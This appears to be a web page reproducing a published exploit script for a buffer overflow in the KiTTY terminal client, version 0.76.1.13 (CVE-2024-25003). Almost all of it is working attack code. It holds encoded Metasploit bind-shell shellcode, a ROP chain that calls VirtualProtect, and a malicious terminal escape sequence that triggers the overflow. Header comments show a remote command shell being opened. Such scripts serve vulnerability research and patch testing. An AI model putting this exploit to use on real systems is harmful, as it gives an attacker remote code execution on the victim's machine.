扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
# Exploit Title: KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow # Exploit Author: DEFCESCO (Austin A. DeFrancesco) # Vendor Homepage: https://github.com/cyd01/KiTTY/= # Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip # Version: ≤ 0.76.1.13 # Tested on: Microsoft Windows 11/10/8/7/XP # CVE: 2024-25003 #-------------------------------------------------------------------------------------# # Blog: https://blog.DEFCESCO.io/Hell0+KiTTY #-------------------------------------------------------------------------------------# # msf6 payload(windows/shell_bind_tcp) > to_handler # # [*] Payload Handler Started as Job 1# # msf6 payload(windows/shell_bind_tcp) ># # [*] Started bind TCP handler against 192.168.100.28:4444# # [*] Command shell session 1 opened (192.168.100.119:39315 -> 192.168.100.28:4444) # #-------------------------------------------------------------------------------------# import sys import os import struct #---------------------------------------------------------------------------------------------# # msf6 payload(windows/shell_bind_tcp) > generate -b '\x00\x07\x0a\x0d\x1b\x9c\x3A\x40' -f py # # windows/shell_bind_tcp - 375 bytes# # https://metasploit.com/ # # Encoder: x86/xor_poly # # VERBOSE=false, LPORT=4444, RHOST=192.168.100.28,# # PrependMigrate=false, EXITFUNC=process, CreateSession=true, # # AutoVerifySession=true# #---------------------------------------------------------------------------------------------# buf =b"" buf += b"\x51\x53\x56\x57\xdb\xd9\xd9\x74\x24\xf4\x5f\x41" buf += b"\x49\x31\xc9\x51\x59\x90\x90\x81\xe9\xae\xff\xff" buf += b"\xff\xbe\xd4\xa1\xc4\xf4\x31\x77\x2b\x83\xef\xfc" buf += b"\x51\x59\x90\xff\xc9\x75\xf3\x5f\x5e\x5b\x59\x28" buf += b"\x49\x46\xf4\xd4\xa1\xa4\x7d\x31\x90\x04\x90\x5f" buf += b"\xf1\xf4\x7f\x86\xad\x4f\xa6\xc0\x2a\xb6\xdc\xdb" buf += b"\x16\x8e\xd2\xe5\x5e\x68\xc8\xb5\xdd\xc6\xd8\xf4" buf += b"\x60\x0b\xf9\xd5\x66\x26\x06\x86\xf6\x4f\xa6\xc4" buf += b"\x2a\x8e\xc8\x5f\xed\xd5\x8c\x37\xe9\xc5\x25\x85" buf += b"\x2a\x9d\xd4\xd5\x72\x4f\xbd\xcc\x42\xfe\xbd\x5f" buf += b"\x95\x4f\xf5\x02\x90\x3b\x58\x15\x6e\xc9\xf5\x13" buf += b"\x99\x24\x81\x22\xa2\xb9\x0c\xef\xdc\xe0\x81\x30" buf += b"\xf9\x4f\xac\xf0\xa0\x17\x92\x5f\xad\x8f\x7f\x8c" buf += b"\xbd\xc5\x27\x5f\xa5\x4f\xf5\x04\x28\x80\xd0\xf0" buf += b"\xfa\x9f\x95\x8d\xfb\x95\x0b\x34\xfe\x9b\xae\x5f" buf += b"\xb3\x2f\x79\x89\xc9\xf7\xc6\xd4\xa1\xac\x83\xa7" buf += b"\x93\x9b\xa0\xbc\xed\xb3\xd2\xd3\x5e\x11\x4c\x44" buf += b"\xa0\xc4\xf4\xfd\x65\x90\xa4\xbc\x88\x44\x9f\xd4" buf += b"\x5e\x11\x9e\xdc\xf8\x94\x16\x29\xe1\x94\xb4\x84" buf += b"\xc9\x2e\xfb\x0b\x41\x3b\x21\x43\xc9\xc6\xf4\xc5" buf += b"\xfd\x4d\x12\xbe\xb1\x92\xa3\xbc\x63\x1f\xc3\xb3" buf += b"\x5e\x11\xa3\xbc\x16\x2d\xcc\x2b\x5e\x11\xa3\xbc" buf += b"\xd5\x28\xcf\x35\x5e\x11\xa3\x43\xc9\xb1\x9a\x99" buf += b"\xc0\x3b\x21\xbc\xc2\xa9\x90\xd4\x28\x27\xa3\x83" buf += b"\xf6\xf5\x02\xbe\xb3\x9d\xa2\x36\x5c\xa2\x33\x90" buf += b"\x85\xf8\xf5\xd5\x2c\x80\xd0\xc4\x67\xc4\xb0\x80" buf += b"\xf1\x92\xa2\x82\xe7\x92\xba\x82\xf7\x97\xa2\xbc" buf += b"\xd8\x08\xcb\x52\x5e\x11\x7d\x34\xef\x92\xb2\x2b" buf += b"\x91\xac\xfc\x53\xbc\xa4\x0b\x01\x1a\x34\x41\x76" buf += b"\xf7\xac\x52\x41\x1c\x59\x0b\x01\x9d\xc2\x88\xde" buf += b"\x21\x3f\x14\xa1\xa4\x7f\xb3\xc7\xd3\xab\x9e\xd4" buf += b"\xf2\x3b\x21" def shellcode(): sc = b'' sc += b'\xBB\x44\x24\x44\x44' # movebx,0x44442444 sc += b'\xB8\x44\x44\x44\x44' # moveax,0x44444444 sc += b'\x29\xD8' # subeax,ebx sc += b'\x29\xC4' # subesp,eax sc += buf sc += b'\x90' * (1052-len(sc)) assert len(sc) == 1052 return sc def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x004c5832,# POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe] 0x006424a4,# ptr to &VirtualProtect() [IAT kitty.exe] 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x00484e07,# MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe] 0x00473cf6,# XCHG EAX,ESI # RETN [kitty.exe] #[---INFO:gadgets_to_set_ebp:---] 0x00429953,# POP EBP # RETN [kitty.exe] 0x005405b0, # push esp; ret 0 [kitty.exe] #[---INFO:gadgets_to_set_ebx:---] 0x0049d9f9,# POP EBX # RETN [kitty.exe] 0x00000201,# 0x00000201-> ebx #[---INFO:gadgets_to_set_edx:---] 0x00430dce,# POP EDX # RETN [kitty.exe] 0x00000040,# 0x00000040-> edx #[---INFO:gadgets_to_set_ecx:---] 0x005ac58c,# POP ECX # RETN [kitty.exe] 0x004d81d9,# &Writable location [kitty.exe] #[---INFO:gadgets_to_set_edi:---] 0x004fa404,# POP EDI # RETN [kitty.exe] 0x005a2001,# RETN (ROP NOP) [kitty.exe] #[---INFO:gadgets_to_set_eax:---] 0x004cd011,# POP EAX # POP EBX # RETN [kitty.exe] 0x90909090,# nop 0x41414141,# Filler (compensate) #[---INFO:pushad:---] 0x005dfbac,# PUSHAD # RETN [kitty.exe] ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() #----------------------------------------------------------------------------------# # Badchars: \x00\x07\x0a\x0d\x1b\x9c\x3A\x40 # # Return Address Information: 0x0052033c : {pivot 332 / 0x14c} : # # ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN # # ** [kitty.exe] ** |startnull,ascii {PAGE_EXECUTE_READWRITE}# # Shellcode size at ESP: 1052# #----------------------------------------------------------------------------------# return_address = struct.pack('<I',0x0052033c) # ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN** [kitty.exe] ** |startnull,ascii {PAGE_EXECUTE_READWRITE} rop_chain_padding = b'\x90' * 35 nops = b'\x90' * 88 escape_sequence = b'\033]0;__dt:' + shellcode() + return_address escape_sequence += rop_chain_padding + rop_chain escape_sequence += b'\x90' escape_sequence += b"\xE9\x2A\xFA\xFF\xFF" #jmp $eip-1490 escape_sequence += nops + b'\007' stdout = os.fdopen(sys.stdout.fileno(), 'wb') stdout.write(escape_sequence) stdout.flush() |
体验盒子
